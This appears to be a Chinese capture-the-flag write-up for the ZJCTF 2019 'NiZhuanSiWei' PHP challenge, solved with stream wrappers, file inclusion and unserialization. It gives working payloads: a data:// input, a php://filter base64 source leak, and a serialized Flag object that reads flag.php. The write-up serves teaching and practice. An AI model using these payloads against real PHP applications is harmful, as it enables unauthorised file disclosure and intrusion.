[ZJCTF 2019]NiZhuanSiWei - 伪协议+文件包含+反序列化

[ZJCTF 2019]NiZhuanSiWei

  • [1 解题流程](#1 解题流程)
    • [1.1 分析](#1.1 分析)
    • [1.2 解题](#1.2 解题)

题目源码:

php 复制代码
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

1 解题流程

1.1 分析

1、get传text、file、password参数

2、file_get_contents($text,'r')的内容要等于welcome to the zjctf才能继续,我们又不知道哪个文件是这个内容,所以直接data伪协议传文件

3、file值不能包含flag

4、提示我们去包含useless.php(先看源码再包含)

5、password需要传递序列化数据(肯定有类给我们)

1.2 解题

  1. ?text=data://text/plain,welcome to the zjctf

  2. ?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

    php 复制代码
    PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo
    
    解码得到:
    <?php  
    	class Flag{  //flag.php  
    	    public $file;  
    	    public function __tostring(){  
    	        if(isset($this->file)){  
    	            echo file_get_contents($this->file); 
    	            echo "<br>";
    	        return ("U R SO CLOSE !///COME ON PLZ");
    	        }  
    	    }  
    	}  
    ?>  
  3. flag在flag.php中,我们的目标是toString的file_get_contents
    构造pop链

    php 复制代码
    <?php  
    	class Flag{  //flag.php  
    		public $file;  
    		public function __tostring(){  
    			if(isset($this->file)){  
    				echo file_get_contents($this->file); 
    				echo "<br>";
    				return ("U R SO CLOSE !///COME ON PLZ");
    			}  
    		}  
    	}  
    	$f = new Flag();
    	$f->file = "flag.php";
    	echo serialize($f);
    ?>  
    得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  
  4. payload=?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    注意:此时file需要真正包含useless.php

相关推荐
amao99889 分钟前
系统安全-身份认证
安全·系统安全
小江的记录本29 分钟前
【系统设计】《2026高频经典系统设计题》(秒杀系统、短链接系统、订单系统、支付系统、IM系统、RAG系统设计)(完整版)
java·后端·python·安全·设计模式·架构·系统架构
常利兵1 小时前
大文件上传不再卡顿:Spring Boot 分片上传、断点续传与进度条实现全解析
spring boot·后端·php
念何架构之路2 小时前
图解常见网络I/O复用模型
服务器·网络·php
小陈工2 小时前
数据库Operator开发实战:以PostgreSQL为例
开发语言·数据库·人工智能·python·安全·postgresql·开源
@insist1232 小时前
网络工程师-实战配置篇(一):深入 BGP 与 VRRP,构建高可靠网络
服务器·网络·php·网络工程师·软件水平考试
CDN3603 小时前
【前端进阶】告别“慢”与“不安全”:我是如何用360CDN搞定API加速和HTTPS的
前端·安全·https
北风toto4 小时前
深入解析JWT Token生成原理与安全加密技术详解
算法·安全·哈希算法
黑牛儿4 小时前
PHP 8.3性能暴涨实测|对比8.2,接口响应提速30%,配置无需大幅修改
android·开发语言·后端·php
Y学院4 小时前
第一章 网络安全认知觉醒:从“事不关己”到“人人有责” 第一节 你以为的安全,都是致命的错觉
安全·web安全